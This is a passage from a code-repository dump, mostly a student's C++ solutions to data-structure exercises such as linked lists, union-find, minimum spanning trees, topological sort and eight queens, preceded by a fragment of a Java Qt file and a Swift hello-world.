MainWindow.setWindowTitle(com.trolltech.qt.core.QCoreApplication.translate("MainWindow", "MainWindow", null));
} // retranslateUi
}
| 16deca99d9b935169155701aab9bdbdc79c4859a | [
"JavaScript",
"Markdown",
"Makefile",
"INI",
"Gradle",
"Java",
"Python",
"C",
"C++"
] | 117 | Java | recaifurkan/My-Java-Repos | 0b8c51d710a31509e42dc4885810c20f7b3c6ae6 | 0b90fc05cf7de08eb669661bfe16c269df77ac3e |
refs/heads/main | <repo_name>NatalyaKopylova/algoritms-lesson3<file_sep>/lesson3/main.swift
//
// main.swift
// lesson3
//
// Created by Natalia on 21.09.2021.
//
import Foundation
print("Hello, World!")
| 642445e5b2a8ecc67850c247ccef08c386a4bbb3 | [
"Swift"
] | 1 | Swift | NatalyaKopylova/algoritms-lesson3 | 4534b7c38b7f08cd995ce7bfff97814214441538 | f2aa351deac26c3b0c3a3bceff0213877d94dcbc |
refs/heads/master | <repo_name>drizmiz/SXDS<file_sep>/练习5/5.1 出栈序列统计.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#define _CRT_SECURE_NO_WARNINGS
#include <cstdio>
using namespace std;
int Calc[20][20]; // DP
int calc(size_t n)
{
for (size_t ss = 0; ss <= n; ++ss)
Calc[0][ss] = 1;
for (size_t N = 1; N <= n; ++N)
{
Calc[N][0] = Calc[N - 1][1];
for (size_t ss = 1; ss <= n - N; ++ss)
Calc[N][ss] = Calc[N - 1][ss + 1] + Calc[N][ss - 1];
}
return Calc[n][0];
}
int main()
{
int n;
scanf("%d", &n);
printf("%d\n", calc(n));
}
<file_sep>/练习4/4.10 全在其中.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <string>
#include <iomanip>
using namespace std;
using str_it = string::const_iterator;
bool substr(str_it s_begin, str_it s_end,
str_it t_begin, str_it t_end)
{
if (s_begin == s_end)
return true;
if (s_end - s_begin > t_end - t_begin)
return false;
if (*s_begin == *t_begin)
return substr(s_begin + 1, s_end, t_begin + 1, t_end);
else
return substr(s_begin, s_end, t_begin + 1, t_end);
}
bool substr(const string& s, const string& t)
{
return substr(s.cbegin(), s.cend(), t.cbegin(), t.cend());
}
int main()
{
string s, t;
for (; cin >> s >> t;)
{
if (substr(s, t))
cout << "Yes" << endl;
else
cout << "No" << endl;
}
}<file_sep>/练习6/6.3 二叉树的深度.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <map>
#include <unordered_map>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
struct node
{
int l = -1, r = -1;
};
vector<node> vec;
int depth(int idx)
{
int mx = 1;
if (vec[idx].l != -1)
mx = max(mx, depth(vec[idx].l) + 1);
if (vec[idx].r != -1)
mx = max(mx, depth(vec[idx].r) + 1);
return mx;
}
int main()
{
int n;
cin >> n;
vec.resize(n + 1);
for (int _i = 1; _i <= n; ++_i)
{
int i, j;
cin >> i >> j;
vec[_i].l = i;
vec[_i].r = j;
}
cout << depth(1) << endl;
}
<file_sep>/练习7/7.2 宗教信仰.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
#include <type_traits>
#include <cassert>
using namespace std;
class weighted_uf
{
private:
vector<int> parent;
vector<size_t> sz; // size of tree
int cnt;
public:
void remake(int N)
{
cnt = N;
parent.resize(N);
for (size_t i = 0; i < N; i++)
parent[i] = i;
sz.resize(N);
fill(sz.begin(), sz.end(), 1);
}
weighted_uf(int N) { remake(N); }
size_t tree_count() const { return cnt; }
int find_root(int p) const
{
for (; p != parent[p]; p = parent[p]);
return p;
}
bool connected(int p, int q) {
return find_root(p) == find_root(q);
}
void link(int p, int q)
{
int proot = find_root(p);
int qroot = find_root(q);
if (proot == qroot)return;
if (sz[proot] < sz[qroot]) {
parent[proot] = qroot;
sz[qroot] += sz[proot];
}
else {
parent[qroot] = proot;
sz[proot] += sz[qroot];
}
--cnt;
}
};
int main()
{
for (int cs = 1;; ++cs)
{
int n, m;
cin >> n >> m;
if (n == 0 && m == 0)
break;
weighted_uf wuf(n);
for (int ix = 0; ix < m; ++ix)
{
int i, j;
cin >> i >> j;
wuf.link(i - 1, j - 1);
}
cout << "Case " << cs << ": "
<< wuf.tree_count() << endl;
}
}
<file_sep>/练习1/1.3 线性表元素删除.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <list> // 链表
using namespace std;
int geti()
{
int i;
cin >> i;
return i;
}
int main()
{
int c = 0;
cin >> c;
for (size_t _i = 0; _i < c; _i++)
{
int n, x;
cin >> n >> x;
list<int> input;
for (size_t i = 0; i < n; i++)
input.push_back(geti());
input.remove_if([=](int nx) {return nx > x; });
for (auto i = input.begin(); i != input.end(); ++i)
{
if (i != input.begin())
cout << ' ';
cout << *i;
}
cout << endl;
}
return 0;
}
<file_sep>/综合练习1/银行排队之多队列多窗口版.cpp
// 注释请见提交文件夹中的queue版本
#include <iostream>
#include <iomanip>
#include <vector>
#include <algorithm>
using namespace std;
using customer = int;
struct w
{
int idx = 0;
vector<customer> cus;
size_t size()const { return cus.size(); }
void push(customer c) { cus.push_back(c); }
bool operator>(const w& other) const
{
return size() < other.size() ? true :
(size() == other.size()
&& idx < other.idx);
}
bool operator<(const w& other) const
{
return !operator>(other);
}
};
int main()
{
size_t N, K, M;
cin >> N >> K >> M;
vector<size_t> Ts(N), Ps(N);
for (int ix = 0; ix < N; ++ix)
{
cin >> Ts[ix] >> Ps[ix];
if (Ps[ix] > 60)
Ps[ix] = 60;
}
vector<w> v(K);
int i = 0;
generate(v.begin(), v.end(),
[&]() {
w particular_w;
particular_w.idx = i;
++i;
return particular_w;
});
int cumulate_time = 0;
int now = 0;
for (int ix = 0; ix < N; ++ix)
{
const int arrival = Ts[ix];
int min_left = 61;
for (auto& window : v)
{
int diff = arrival - now;
auto& line = window.cus;
int tmp = 0;
for (auto& c : line)
{
cumulate_time += min(diff, tmp);
tmp += c;
}
for (int j = 0; j < line.size();)
{
auto& c = line[j];
if (c - diff <= 0)
{
diff -= c;
line.erase(line.begin() + j);
}
else {
c -= diff;
diff = 0;
min_left = min(min_left, c);
break;
}
}
}
sort(v.begin(), v.end(), greater<w>());
now = arrival;
if (v.begin()->size() < M)
{
v.begin()->push(Ps[ix]);
}
else
{
for (int iy = ix; iy < N; ++iy)
if (Ts[iy] - now < min_left)
{
cumulate_time += min_left -
(Ts[iy] - now);
Ts[iy] = now + min_left;
}
--ix;
}
}
for (auto& window : v)
{
int tmp = 0;
for (auto& c : window.cus)
{
cumulate_time += tmp;
tmp += c;
}
}
cout << fixed << setprecision(1) <<
(static_cast<double>(cumulate_time) / N)
<< endl;
return 0;
}<file_sep>/练习4/4.1 提取数字.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <string>
#include <iomanip>
using namespace std;
int main()
{
string s;
getline(cin, s);
for (auto c : s)
if (c >= '0' && c <= '9')
cout << setw(4) << c;
cout << endl;
}
<file_sep>/综合练习2/畅通工程之最小花费问题.cpp
// main
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
using uint = unsigned;
struct edge
{
int from;
int to;
int cost;
edge() :from(0), to(0), cost(0) {}
edge(int x, int y, int c) :from(x), to(y), cost(c) {}
bool operator<(const edge& rhs)
{
return cost < rhs.cost;
}
};
// union_find algorithm with path compression
class union_find
{
private:
size_t n_size;
vector<int> root;
public:
union_find(size_t n) :n_size(n), root(n)
{
for (int i = 0; i < n; i++)
root[i] = i;
}
uint nsize()const { return n_size; }
int find(int p)
{
if (root[p] == p)
return p;
else
return root[p] = find(root[p]);
}
void link_root(int rx, int ry)
{
root[rx] = ry;
}
void link(int x, int y)
{
int rx = find(x), ry = find(y);
if (rx != ry)
link_root(rx, ry);
}
};
int main()
{
int N;
cin >> N;
vector<edge> roads;
union_find uf(N);
for (int i = 0; i < N * (N - 1) / 2; ++i)
{
int from, to, cost, has_built;
cin >> from >> to >> cost >> has_built;
// this operation maps ints from 1 to N to ints from 0 to N - 1
--from; --to;
edge w(from, to, has_built ? 0 : cost);
roads.push_back(w);
// towns with a built road are in a connected component
if (has_built)
uf.link(from, to);
}
sort(roads.begin(), roads.end());
int acc = 0;
// use Kruskal algorithm to construct a MST
for (auto& road : roads)
{
int root_f = uf.find(road.from);
int root_t = uf.find(road.to);
if (root_f != root_t)
{
uf.link_root(root_f, root_t);
acc += road.cost;
}
}
cout << acc << endl;
}<file_sep>/练习3/3.2 地下党行动小组(二)[双向链表].cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
//#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
#include <functional>
#include <memory>
#include <string>
#include <cassert>
using namespace std;
template <typename T>
class mlist
{
public:
struct node;
using node_p = shared_ptr<node>;
struct node
{
T data;
node_p next;
node_p prev;
};
private:
size_t _size = 0;
node_p first = nullptr;
node_p last = nullptr;
public:
size_t size() const { return _size; }
node_p begin() const { return first; }
node_p before_end() const { return last; }
// insert after
void insert(node_p nodep, T&& data)
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->prev = nodep;
newnode->next = nodep->next;
if (nodep->next) // 不是尾结点
{
nodep->next->prev = newnode;
}
else
{
last = newnode;
}
nodep->next = newnode;
++_size;
}
void push_back(T&& data)
{
if (size())
insert(last, move(data));
else
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->next = newnode->prev = nullptr;
first = last = newnode;
++_size;
}
}
node_p find(const T& needle) const
{
for (node_p it = first; it; it = it->next)
{
if (it->data == needle)
return it;
}
return nullptr;
}
void erase(node_p nodep)
{
if (nodep->prev)
nodep->prev->next = nodep->next;
else
first = nodep->next;
if (nodep->next)
nodep->next->prev = nodep->prev;
else
last = nodep->prev;
//assert(nodep.use_count() == 0);
--_size;
}
};
template<typename T>
ostream& operator<<(ostream& out, const mlist<T>& A)
{
bool flag = false;
for (auto p = A.begin(); p; p = p->next)
{
if (p != A.begin())
out << " ";
out << p->data.call;
flag = true;
}
if (!flag)
out << "全军覆没";
return out;
}
struct member
{
string call;
int id = 0;
bool operator==(const member& rhs) const
{
return call == rhs.call;
}
};
int main()
{
mlist<member> A, B;
int numA = 0, numB = 0;
cin >> numA >> numB;
for (size_t i = 0; i < numA; i++)
{
member m;
cin >> m.call >> m.id;
A.push_back(move(m));
}
for (size_t i = 0; i < numB; i++)
{
member m;
cin >> m.call >> m.id;
B.push_back(move(m));
}
int n;
cin >> n;
for (; n--;)
{
char c = '\0';
cin >> c;
member needle;
cin >> needle.call;
needle.id = 0;
mlist<member>::node_p np = nullptr;
if (c == 'A')
{
np = A.find(needle);
if (np)
A.erase(np);
}
else if (c == 'B')
{
np = B.find(needle);
if (np)
B.erase(np);
}
}
cout << A << endl;
cout << B << endl;
}
<file_sep>/练习5/5.10 八皇后.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
string result(8, '0');
vector<int> solutions;
bool has_collision(int line1, int col1, int line2, int col2)
{
if (col1 == col2 || line1 - col1 == line2 - col2 ||
line1 + col1 == line2 + col2)
return true;
else
return false;
}
bool has_collision(const string& prev, int line2, int col2)
{
for (int line = 0; line < line2; ++line)
if (has_collision(line, prev[line] - '1',
line2, col2))
return true;
return false;
}
void eight_queens(int queen_id = 0)
{
if (queen_id == 8)
{
solutions.push_back(stoi(result));
return;
}
for (int col = 0; col < 8; ++col)
{
if (!has_collision(result, queen_id, col))
{
result[queen_id] = '1' + col;
eight_queens(queen_id + 1);
}
}
}
int main()
{
eight_queens();
int n = 0;
cin >> n;
for (; n--;)
{
int b = 0;
cin >> b;
cout << solutions[b - 1] << endl;
}
}<file_sep>/练习3/3.5 地图定位(二)[单链表实现].cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
//#include <list> // 链表
#include <iomanip> // i/o manipulate
#include <memory>
using namespace std;
template <typename T>
class mforward_list
{
public:
struct node;
using node_p = shared_ptr<node>;
struct node
{
T data;
node_p next;
};
private:
size_t _size = 0;
node_p before_first = nullptr;
//node_p last = nullptr;
public:
size_t size() const { return _size; }
node_p before_begin() const { return before_first; }
node_p begin() const { return before_first->next; }
mforward_list() {
node_p head = make_shared<node>();
//head->data is undefined
head->next = nullptr;
before_first = head;
}
// insert after
node_p insert(node_p nodep, T&& data)
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->next = nodep->next;
nodep->next = newnode;
++_size;
return newnode;
}
void push_front(T&& data)
{
insert(before_first, move(data));
}
node_p find(const T& needle) const
{
for (node_p it = begin(); it; it = it->next)
{
if (it->data == needle)
return it;
}
return nullptr;
}
template<class Pr>
node_p find_if(const T& needle, node_p start, Pr pred)
{
for (; start; start = start->next)
if (pred(start->data))
return start;
return nullptr;
}
};
struct location
{
string name;
double x = 0.0, y = 0.0;
bool operator==(const location& rhs) const
{
return name == rhs.name;
}
double distance(const location& rhs) const
{
return sqrt(pow(rhs.x - x, 2) + pow(rhs.y - y, 2));
}
};
int main()
{
size_t spotnum;
cin >> spotnum;
mforward_list<location> locs;
auto p = locs.before_begin();
for (size_t i = 0; i < spotnum; i++)
{
location loc;
cin >> loc.name >> loc.x >> loc.y;
p = locs.insert(p, move(loc));
}
size_t PDnum;
cin >> PDnum;
for (size_t i = 0; i < PDnum; i++)
{
location needle;
cin >> needle.x >> needle.y;
double dist = 0.0;
cin >> dist;
bool first = true;
for (auto it = locs.begin(); it; )
{
auto found = locs.find_if(needle, it,
[&](const location& loc) {
return needle.distance(loc) <= dist;
}
);
if (!found)
break;
if (!first)
cout << ' ';
else
first = false;
cout << found->data.name;
it = found->next;
}
if (first)
cout << "未找到地点";
cout << endl;
}
}
<file_sep>/练习1/1.4 有序表的归并.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <list> // 链表
#include <vector> // 顺序存储的顺序表
using namespace std;
struct stu
{
int id;
string name;
int score;
};
istream& operator>>(istream& is, stu& s)
{
is >> s.id >> s.name >> s.score;
return is;
}
ostream& operator<<(ostream& os, const stu& s)
{
os << s.id << ' ' << s.name << ' ' << s.score;
return os;
}
stu getstu()
{
stu i;
cin >> i;
return i;
}
int main()
{
const int n = 12, m = 13;
list<stu> lst1, lst2;
for (size_t i = 0; i < n; i++)
lst1.push_back(getstu());
for (size_t i = 0; i < m; i++)
lst2.push_back(getstu());
lst1.merge(lst2, [](stu& o) {score > o.score});
for (auto i : lst1)
cout << i << endl;
return 0;
}
<file_sep>/练习6/6.5 二叉树.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <map>
#include <unordered_map>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
int up_bound(int m) // ret>m
{
int i = 0, n = 1;
for (; n <= m; ++i) n <<= 1;
return i;
}
int f(int m, int n)
{
//int ret = 1;
//if (n >= 2 * m)
//{
// ret += f(2 * m, n);
// if (n >= 2 * m + 1)
// ret += f(2 * m + 1, n);
//}
//return ret;
// 先算出层数
int cm = up_bound(m);
int cn = up_bound(n);
int tmp = 1 << (cn - cm);
// 这是除了最后一层
int ret = tmp - 1;
// 这是最后一层左边界
int fst = m * tmp;
// 这是最后一层尾后
int lst = (m + 1) * tmp;
if (n >= fst)
if (n >= lst - 1)
ret += lst - fst;
else
ret += n - fst + 1;
return ret;
}
int main()
{
for (;;)
{
int m, n;
cin >> m >> n;
// m=3, n=12
if (!m && !n)
break;
cout << f(m, n) << endl;
}
}
<file_sep>/练习1/1.6 数组元素循环右移.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
using namespace std;
int main()
{
int N, M;
cin >> N >> M;
vector<int> vec(N);
for (size_t i = 0; i < N; i++)
cin >> vec[i];
for (; M > N;)
M -= N;
rotate(vec.begin(), vec.begin() + N - M, vec.end());
for (size_t i = 0; i < N; i++)
{
if (i)
cout << ' ';
cout << vec[i];
}
cout << endl;
return 0;
}
<file_sep>/练习1/1.2 顺序表置逆与查找.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <vector> // vector
using namespace std;
int main()
{
int c = 0;
cin >> c;
for (size_t _i = 0; _i < c; _i++)
{
int n, x, y;
cin >> n >> x >> y;
vector<int> input(n);
for (size_t i = 0; i < n; i++)
cin >> input[i];
reverse(input.begin(), input.end());
for (size_t i = 0; i < n; i++)
if (input[i] > x&& input[i] < y)
{
cout << input[i - 1] << ' '
<< input[i + 1] << endl;
break;
}
}
}
<file_sep>/练习5/5.12 滑动窗口.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
int main()
{
size_t n, k;
cin >> n >> k;
vector<int> nums(n);
vector<int> mi(n - k + 1), ma(n - k + 1);
for (auto& m : nums)
cin >> m;
deque<int> dq_dec, dq_inc;
for (size_t i = 0; i < n; i++)
{
for (;
!dq_dec.empty() && nums[dq_dec.back()] < nums[i];
dq_dec.pop_back()
);
dq_dec.push_back(i);
if (dq_dec.front() == i - k)
dq_dec.pop_front();
if (i >= k - 1)
ma[i - k + 1] = nums[dq_dec.front()];
}
for (size_t i = 0; i < n; i++)
{
for (;
!dq_inc.empty() && nums[dq_inc.back()] > nums[i];
dq_inc.pop_back()
);
dq_inc.push_back(i);
if (dq_inc.front() == i - k)
dq_inc.pop_front();
if (i >= k - 1)
mi[i - k + 1] = nums[dq_inc.front()];
}
bool first = true;
for (auto& m : mi)
if (first)
{
cout << m;
first = false;
}
else
cout << ' ' << m;
cout << endl;
first = true;
for (auto& m : ma)
if (first)
{
cout << m;
first = false;
}
else
cout << ' ' << m;
cout << endl;
}<file_sep>/练习9/9.2 样本采集.cpp
// main
#include <iostream>
#include <vector>
#include <valarray>
#include <algorithm>
#include <cassert>
using namespace std;
using uint = unsigned;
// matrix
class matrix
{
private:
valarray<int> data;
bool _Verify(uint i, uint j) const {
return i < row && j < col;
}
public:
uint row;
uint col;
matrix(uint M, uint N) : data(M* N), row(M), col(N) { } // M ÐÐ N ÁÐ
int& operator()(uint i, uint j) {
#ifdef _DEBUG
assert(_Verify(i, j));
#endif // i : 0 to M-1 ; j : 0 to N-1
return data[i * col + j];
}
const int& operator()(uint i, uint j) const {
#ifdef _DEBUG
assert(_Verify(i, j));
#endif
return data[i * col + j];
}
};
const short err = -10000;
int main()
{
int n, m, K;
cin >> n >> m >> K;
matrix data(n, m);
matrix dp(n, m);
for (int i = 0; i < n; ++i)
for (int j = 0; j < m; ++j)
{
char c;
do {
c = cin.get();
} while (isspace(c));
switch (c)
{
case '#':
data(i, j) = 0; break;
case '*':
data(i, j) = 1; break;
default:
assert(false); break;
}
}
dp(n - 1, m - 1) = 0;
for (int i = n - 2; i >= 0; --i)
if (data(i, m - 1))
{
dp(i, m - 1) = dp(i + 1, m - 1) + 1;
if (dp(i, m - 1) > K)
dp(i, m - 1) = err;
}
else
dp(i, m - 1) = dp(i + 1, m - 1);
for (int j = m - 2; j >= 0; --j)
if (data(n - 1, j))
{
dp(n - 1, j) = dp(n - 1, j + 1) + 1;
if (dp(n - 1, j) > K)
dp(n - 1, j) = err;
}
else
dp(n - 1, j) = dp(n - 1, j + 1);
for (int i = n - 2; i >= 0; --i)
{
for (int j = m - 2; j >= 0; --j)
{
if (data(i, j))
{
dp(i, j) = max(
dp(i, j + 1),
dp(i + 1, j)
) + 1;
if (dp(i, j) > K)
dp(i, j) = err;
}
else
dp(i, j) = max(
dp(i, j + 1),
dp(i + 1, j)
);
}
}
if (dp(0, 0) < 0)
cout << -1 << endl;
else
cout << dp(0, 0) << endl;
}<file_sep>/练习7/7.1 树的转换.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
#include <type_traits>
#include <cassert>
using namespace std;
class str_view
{
private:
const char* ptr;
size_t len;
public:
str_view(const char* cc, size_t sz)
: ptr(cc), len(sz)
{ }
str_view(const char* cc)
: ptr(cc), len(char_traits<char>::length(cc))
{ }
char operator[](size_t idx) {
assert(idx < len);
return ptr[idx];
}
char at(size_t idx) {
return operator[](idx);
}
size_t size() const { return len; }
bool empty() const { return !size(); }
str_view substr(size_t pos, size_t count) const
{
auto rcount = min(count, size() - pos);
return str_view(ptr + pos, rcount);
}
};
const int nul = -1;
struct node
{
int parent = nul;
int lchild = nul;
int rsibling = nul;
};
vector<node> space;
void gen(str_view dfs_seq, int ini = 0)
{
if (dfs_seq.empty())
return;
if (dfs_seq[0] == 'd')
{
node newnode;
newnode.parent = ini;
space.push_back(newnode);
const int newnode_idx = space.size() - 1;
if (space[ini].lchild == nul)
{
space[ini].lchild = newnode_idx;
}
else
{
int idx = space[ini].lchild;
for (; space[idx].rsibling != nul;)
idx = space[idx].rsibling;
space[idx].rsibling = newnode_idx;
}
gen(dfs_seq.substr(1, dfs_seq.size() - 1), newnode_idx);
}
else
{
gen(dfs_seq.substr(1, dfs_seq.size() - 1), space[ini].parent);
}
}
int height(int ini = 0)
{
if (ini == nul)
return -1;
int ret = 0;
ret = max(
height(space[ini].lchild),
height(space[ini].rsibling)
) + 1;
return ret;
}
int main()
{
int i = 0;
for (; ++i;)
{
string seq;
cin >> seq;
if (seq == "#")
break;
int h1 = 0, h1t = 0;
for (auto c : seq)
{
if (c == 'd')
h1t++;
else
h1t--;
h1 = max(h1, h1t);
}
space.clear();
node root;
space.push_back(root);
gen(str_view(seq.c_str()));
cout << "Tree " << i << ": " << h1
<< " => " << height() << endl;
}
}
<file_sep>/综合练习3/逆散列问题.cpp
// main
#include <iostream>
#include <vector>
#include <queue>
#include <algorithm>
using namespace std;
using uint = unsigned;
int N;
int linear_hash(int x)
{
return x % N;
}
class graph
{
private:
// adjacent table
vector<vector<int>> adj_of_points;
// e_size is useless here
size_t n_size, e_size;
vector<int> in_degree;
public:
graph(size_t n) :n_size(n), adj_of_points(n),
in_degree(n), e_size(0) { }
uint nsize()const { return n_size; }
uint esize()const { return e_size; }
void link(int x, int y, int weight = 0)
{
adj_of_points[x].push_back(y);
e_size++;
}
void find_indeg()
{
for (const auto& p : adj_of_points)
for (const auto& adj : p)
++in_degree[adj];
}
template<class Pr>
vector<int> topo_sort(Pr P);
};
// Pr is the predicate for comparison
template<class Pr>
vector<int> graph::topo_sort(Pr P)
{
// suppose in_deg has been obtained
vector<int> result;
// deg0 are the nodes with a degree of 0
vector<int> deg0;
for (int i = 0; i < nsize(); ++i)
if (in_degree[i] == 0)
deg0.push_back(i);
priority_queue<int, vector<int>, Pr> ini(P, move(deg0));
for (; !ini.empty();)
{
auto t = ini.top();
result.push_back(t);
ini.pop();
for (auto& adj : adj_of_points[t])
{
--in_degree[adj];
if (in_degree[adj] == 0)
ini.push(adj);
}
}
return result;
}
int main()
{
cin >> N;
vector<int> vec(N);
// Nn maps ints from 0 to N to ints from 0 to n
// nN is the opposite of Nn
// we need this transition because the graph itself is naive
vector<int> Nn(N), nN;
int j = 0;
for (int i = 0; i < N; ++i)
{
cin >> vec[i];
if (vec[i] >= 0)
{
Nn[i] = j;
nN.push_back(i);
++j;
}
}
int n = nN.size();
// to construct the graph
graph g(n);
for (int i = 0; i < N; ++i)
{
if (vec[i] < 0)
continue;
int base = linear_hash(vec[i]);
for (int j = base; j != i; )
{
g.link(Nn[j], Nn[i]);
++j;
j %= N;
}
}
g.find_indeg();
auto topo = g.topo_sort(
// the predicate first maps the nodes to their actual places,
// secondly maps them to the corresponding numbers
// and lastly does the comparison
[=](const int& lhs, const int& rhs) {
return vec[nN[lhs]] > vec[nN[rhs]];
}
);
for (int i = 0; i < topo.size(); ++i)
{
if (i)
cout << " ";
cout << vec[nN[topo[i]]];
}
}<file_sep>/练习4/4.11 密码翻译.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <string>
#include <iomanip>
using namespace std;
string encode(const string& s)
{
string ret;
for (auto c : s)
if (c >= 'a' && c <= 'z')
ret.push_back('a' + (c - 'a' + 1) % 26);
else if (c >= 'A' && c <= 'Z')
ret.push_back('A' + (c - 'A' + 1) % 26);
else
ret.push_back(c);
return move(ret);
}
int main()
{
size_t n = 0;
cin >> n;
(void)(cin.get());
for (size_t i = 0; i < n; i++)
{
string s;
getline(cin, s);
cout << encode(s) << endl;
}
}
<file_sep>/练习3/3.4 地图定位(一)[单链表实现].cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
//#include <list> // 链表
#include <iomanip> // i/o manipulate
#include <memory>
using namespace std;
template <typename T>
class mforward_list
{
public:
struct node;
using node_p = shared_ptr<node>;
struct node
{
T data;
node_p next;
};
private:
size_t _size = 0;
node_p before_first = nullptr;
//node_p last = nullptr;
public:
size_t size() const { return _size; }
node_p before_begin() const { return before_first; }
node_p begin() const { return before_first->next; }
mforward_list() {
node_p head = make_shared<node>();
//head->data is undefined
head->next = nullptr;
before_first = head;
}
// insert after
node_p insert(node_p nodep, T&& data)
{
node_p newnode = make_shared<node>();
newnode->data = move(data);
newnode->next = nodep->next;
nodep->next = newnode;
++_size;
return newnode;
}
void push_front(T&& data)
{
insert(before_first, move(data));
}
node_p find(const T& needle) const
{
for (node_p it = begin(); it; it = it->next)
{
if (it->data == needle)
return it;
}
return nullptr;
}
};
struct location
{
string name;
double x = 0.0, y = 0.0;
bool operator==(const location& rhs) const
{
return name == rhs.name;
}
};
int main()
{
size_t spotnum;
cin >> spotnum;
mforward_list<location> locs;
auto p = locs.before_begin();
for (size_t i = 0; i < spotnum; i++)
{
location loc;
cin >> loc.name >> loc.x >> loc.y;
p = locs.insert(p, move(loc));
}
size_t searchnum;
cin >> searchnum;
for (size_t i = 0; i < searchnum; i++)
{
location needle;
cin >> needle.name;
auto it = locs.find(needle);
cout << fixed << setprecision(1);
cout << it->data.x << ' ' << it->data.y << endl;
}
}
<file_sep>/练习7/7.3 折半查找-递归.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int main()
{
int n;
cin >> n;
vector<int> v(n);
for (auto& i : v)
cin >> i;
int aim;
cin >> aim;
auto res = lower_bound(v.begin(), v.end(), aim);
if (res != v.end() && *res == aim)
cout << res - v.begin() + 1 << endl;
else
cout << "no answer" << endl;
}
<file_sep>/练习5/5.11 队列和栈.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
template<class _Cont>
void output(const _Cont& data)
{
bool first = true;
for (auto& i : data)
{
if (first)
{
cout << i;
first = false;
}
else
cout << " " << i;
}
cout << endl;
}
int main()
{
int m = 0;
cin >> m;
for (; m--;)
{
queue<int> que;
stack<int> stk;
int n = 0;
cin >> n;
for (; n-- > 0;)
{
string s;
cin >> s;
if (s[1] == 'u')
{
int num;
cin >> num;
que.push(num);
stk.push(num);
}
else
{
if (que.empty())
{
cout << "error" << endl;
cout << "error" << endl;
for (; n-- > 0;)
{
cin >> s;
if (s[1] == 'u')
{
int num;
cin >> num;
}
}
n = -255;
}
else
{
que.pop();
stk.pop();
}
}
}
if (n > -20)
{
vector<int> vec;
for (; !que.empty(); que.pop())
vec.push_back(que.front());
output(vec);
vec.clear();
for (; !stk.empty(); stk.pop())
vec.push_back(stk.top());
reverse(vec.begin(), vec.end());
output(vec);
}
}
}<file_sep>/练习6/6.2 二叉树.cpp
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <iomanip>
#include <sstream>
#include <string>
#include <stack>
#include <vector>
#include <deque>
#include <queue>
#include <map>
#include <unordered_map>
#include <algorithm>
#include <functional>
#include <limits>
using namespace std;
int f(int x, int y)
{
if (x == y)
return x;
else if (x > y)
return f(x / 2, y);
else
return f(x, y / 2);
}
int main()
{
int x, y;
cin >> x >> y;
cout << f(x, y) << endl;
}
<file_sep>/练习3/3.7 多项式加法.cpp
// ****
// ***************************
// 此题和1.5完全相同
// ***************************
// ****
// 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream> // 输入输出流头文件
#include <algorithm> // 算法库
#include <list> // 链表
#include <vector> // 顺序存储的顺序表
#include <map>
using namespace std;
int main()
{
using coefc = int;
using expo = int;
int n;
cin >> n;
list<int> a;
for (size_t i = 0; i < n; i++)
{
map<expo, coefc, greater<int>> m;
for (int sign = 0; sign < 2; ++sign)
{
for (;;)
{
int c, e;
cin >> c >> e;
if (e < 0)break;
if (m.find(e) != m.end())
{
m[e] += c;
}
else
{
m[e] = c;
}
}
}
bool flag = true;
for (auto pair : m)
{
if (pair.second != 0)
{
